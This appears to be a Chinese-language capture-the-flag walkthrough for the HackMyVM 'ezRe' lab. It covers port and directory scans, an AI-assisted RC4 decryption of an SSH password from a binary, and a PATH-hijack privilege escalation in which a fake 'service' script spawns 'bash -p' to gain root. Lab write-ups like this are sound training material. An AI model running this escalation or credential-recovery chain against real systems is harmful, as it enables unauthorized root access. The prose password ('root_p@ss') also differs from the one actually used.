

ezRe

ezRe

信息收集

ip: 192.168.1.110 nmap扫一下端口

```

SHELL
└─(root@zss)-[/home/zss/桌面/hmv/ezRe]
└─# nmap -p- -Pn -sV --min-rate=10000 192.168.1.110
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-23 21:57 CST
Nmap scan report for bogon (192.168.1.110)
Host is up (0.35s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
MAC Address: 08:00:27:20:B8:CA (PCS Systemtechnik/Oracle
VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results
at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.02 seconds
```

扫一下目录

```
(root@zss)-[/home/zss/桌面/hmv/ezRe]
```

```
# dirsearch -u http://192.168.1.110/
```

```
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23:
```

```
DeprecationWarning: pkg_resources is deprecated as an API. See  
https://setuptools.pypa.io/en/latest/pkg\_resources.html
```

```
from pkg_resources import DistributionNotFound, VersionConflict
```

```
 _|. _ _ _ _ _|_      v0.4.3  
( _||| _ ) (/_(_|| ( _| )
```

```
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads:  
25 | Wordlist size: 11460
```

```
Output File: /home/zss/桌
```

```
面/hmv/ezRe/reports/http_192.168.1.110/__26-03-23_21-59-30.txt
```

```
Target: http://192.168.1.110/
```

```
[21:59:30] Starting:
```

```
[21:59:31] 403 - 278B - /.ht_wsr.txt
```

```
[21:59:31] 403 - 278B - /.htaccess.bak1
```

```
[21:59:31] 403 - 278B - /.htaccess.sample
```

```
[21:59:31] 403 - 278B - /.htaccess.save
```

```
[21:59:31] 403 - 278B - /.htaccess_extra
```

```
[21:59:31] 403 - 278B - /.htaccess_orig
```

```
[21:59:31] 403 - 278B - /.htaccess_sc
```

```
[21:59:31] 403 - 278B - /.htaccessOLD
```

```
[21:59:31] 403 - 278B - /.htaccessBAK
```

```
[21:59:31] 403 - 278B - /.htaccessOLD2
```

```
[21:59:31] 403 - 278B - /.htm
```

```
[21:59:31] 403 - 278B - /.html
```

```
[21:59:31] 403 - 278B - /.htpasswd_test
```

```
[21:59:31] 403 - 278B - /.httr-oauth
```

```
[21:59:31] 403 - 278B - /.htpasswd
```

```
[21:59:32] 403 - 278B - /.php
```

```
[21:59:36] 403 - 278B - /.htaccess.orig
```

```
[21:59:45] 301 - 312B - /dev -> http://192.168.1.110/dev/
```

```
[21:59:45] 200 - 495B - /dev/
```

```
[21:59:59] 403 - 278B - /server-status
```

```
[21:59:59] 403 - 278B - /server-status/
```

```
Task Completed
```

User Flag

/dev目录下有个todo.txt和一个程序，下载程序用ida反编译，让ai用ida-pro-mcp进行分析得到flag:{Ryan:sunninggirl}

TXT

Fix the login issue on the main page.

Ryan: Use your favorite girl's name as your temporary SSH password.

Remember to run the 'authenticator' tool to verify your access key.

让我重新检查程序逻辑，确保解密过程正确。我发现可能存在字节序或数据类型的问题。

```
toolName: Write
```

```
status: success
```

```
filePath: e:\渗透测试靶场\VirtualBox\ezRe\decrypt_flag.py
```

```
changes: undefined
```

```
toolName: run_command
```

```
status: success
```

```
command: python decrypt_flag.py undefined
```

太好了！这次解密成功了！让我验证一下完整的flag。根据解密结果和提示信息，我发现解密得到了 `{Ryan:sunninggir`（16个字符），这与 todo.txt 中的提示 "Ryan: Use your favorite girl's name as your temporary SSH password." 相吻合。

让我编写一个验证脚本来确认完整的flag。

```
toolName: Write
```

```
status: success
```

```
filePath: e:\渗透测试靶场\VirtualBox\ezRe\verify_flag.py
```

```
changes: undefined
```

```
toolName: run_command
```

```
status: success
```

```
command: python verify_flag.py undefined
```

根据深入分析，我已经成功解密并验证了正确的flag!

完整分析结果

程序分析

1. **程序功能**: `authenticator` 是一个验证工具，用于验证用户输入的flag
2. **加密算法**: 使用标准RC4加密算法
3. **加密密钥**: `welcome`
4. **验证逻辑**:
 - 要求输入18个字符的flag
 - 将输入的前16个字符与预设的加密数据进行比对
 - 使用RC4算法进行验证

解密过程

1. **提取加密数据**: 从程序中提取到加密值 `0x8CD735C49220E11D` 和 `0x96B28E78FA5E9155`
2. **考虑字节序**: 程序使用小端序存储数据，实际存储顺序为:
`x1D\xE1\x20\x92\xC4\x35xD7\x8C\x55\x91\x5E\xFA\x78\x8E\xB2\x96`
3. **解密计算**: 使用RC4算法和密钥 `welcome` 进行解密
4. **解密结果**: `{Ryan:sunninggir}` (前16个字符)

结合todo.txt分析

根据todo.txt中的提示:

- `Ryan: Use your favorite girl's name as your temporary SSH password.`
- 解密结果中已经包含 `Ryan:` 和 `sunninggir`，这明显指向女孩名字是 `sunninggirl`

最终flag验证

通过验证脚本确认，正确的完整flag是：

{Ryan:sunninggirl}

这个flag长度为18个字符，完全符合程序要求，并且通过了RC4加密验证。

得到的 **sunninggirl** 应该是Ryan用户的ssh连接密码 连接上去之后拿到user.txt

```
(root@zss) - [/home/zss/桌面/hmv/ezRe]
# ssh Ryan@192.168.1.110
The authenticity of host '192.168.1.110 (192.168.1.110)' can't be
established.
ED25519 key fingerprint is
SHA256:02iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:16: [hashed name]
  ~/.ssh/known_hosts:19: [hashed name]
  ~/.ssh/known_hosts:28: [hashed name]
Are you sure you want to continue connecting
(yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.110' (ED25519) to the list
of known hosts.
Ryan@192.168.1.110's password:
Linux ezRe 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25)
x86_64

The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ id
uid=1000(Ryan) gid=1000(Ryan) groups=1000(Ryan)
$ pwd
/home/Ryan
$ ls
user.txt
$ cat user.txt
{user-5d8e7f9a4b3c2d1e0f8a7b6c5d4e3f2a}
```

Root Flag

没有curl和wget, 但是有busybox, 上传linpeas.sh, 运行脚本信息收集一波, 在 `/usr/bin` 目录下找到一个 `super_checker` 看起来是提权用的, 运行之后需要输入密码, 把程序下载下来放进ida分析, 分析得到密码为: `root_p@ss` 但是出现一个错误

```
Ryan@ezRe:/usr/bin$ /usr/bin/super_checker
--- Admin Maintenance Console ---
Enter Maintenance Password: r00t_p@ss
[+] Access Granted! Running system maintenance...
sh: 1: service: not found
```

service 命令找不到，通常是因为程序执行时的 **PATH** 环境变量不包含 **/usr/sbin** (**service** 实际路径是 **/usr/sbin/service**) 劫持一下环境变量

```
# 1. 创建临时目录，用于存放恶意脚本
mkdir /tmp/ezexp
cd /tmp/ezexp

# 2. 编写恶意的 service 脚本 (获取 root shell)
cat > service << EOF
#!/bin/bash
/bin/bash -p # -p 保持特权环境
EOF

# 3. 赋予执行权限
chmod +x service

# 4. 临时修改 PATH，让我们的目录优先
export PATH=/tmp/ezexp:$PATH

# 5. 重新运行 super_checker 程序
/usr/bin/super_checker
# 输入密码 r00t_p@ss
```



```
Ryan@ezRe:/usr/bin$ mkdir /tmp/ezexp
Ryan@ezRe:/usr/bin$ cd /tmp/ezexp
Ryan@ezRe:/tmp/ezexp$ cat > service << EOF
> #!/bin/bash
> /bin/bash -p # -p 保持特权环境
> EOF
Ryan@ezRe:/tmp/ezexp$ chmod +x service
Ryan@ezRe:/tmp/ezexp$ export PATH=/tmp/ezexp:$PATH
Ryan@ezRe:/tmp/ezexp$ /usr/bin/super_checker
--- Admin Maintenance Console ---
Enter Maintenance Password: r00t_p@ss
[+] Access Granted! Running system maintenance...
root@ezRe:/tmp/ezexp# id
uid=0(root) gid=0(root) groups=0(root),1000(Ryan)
root@ezRe:/tmp/ezexp# cd /root
root@ezRe:/root# ls
authenticator.c  root.txt
root@ezRe:/root# cat root.txt
{root-f97e8b4d2c5a0e9f1t3h8c0a6eld4b39}
```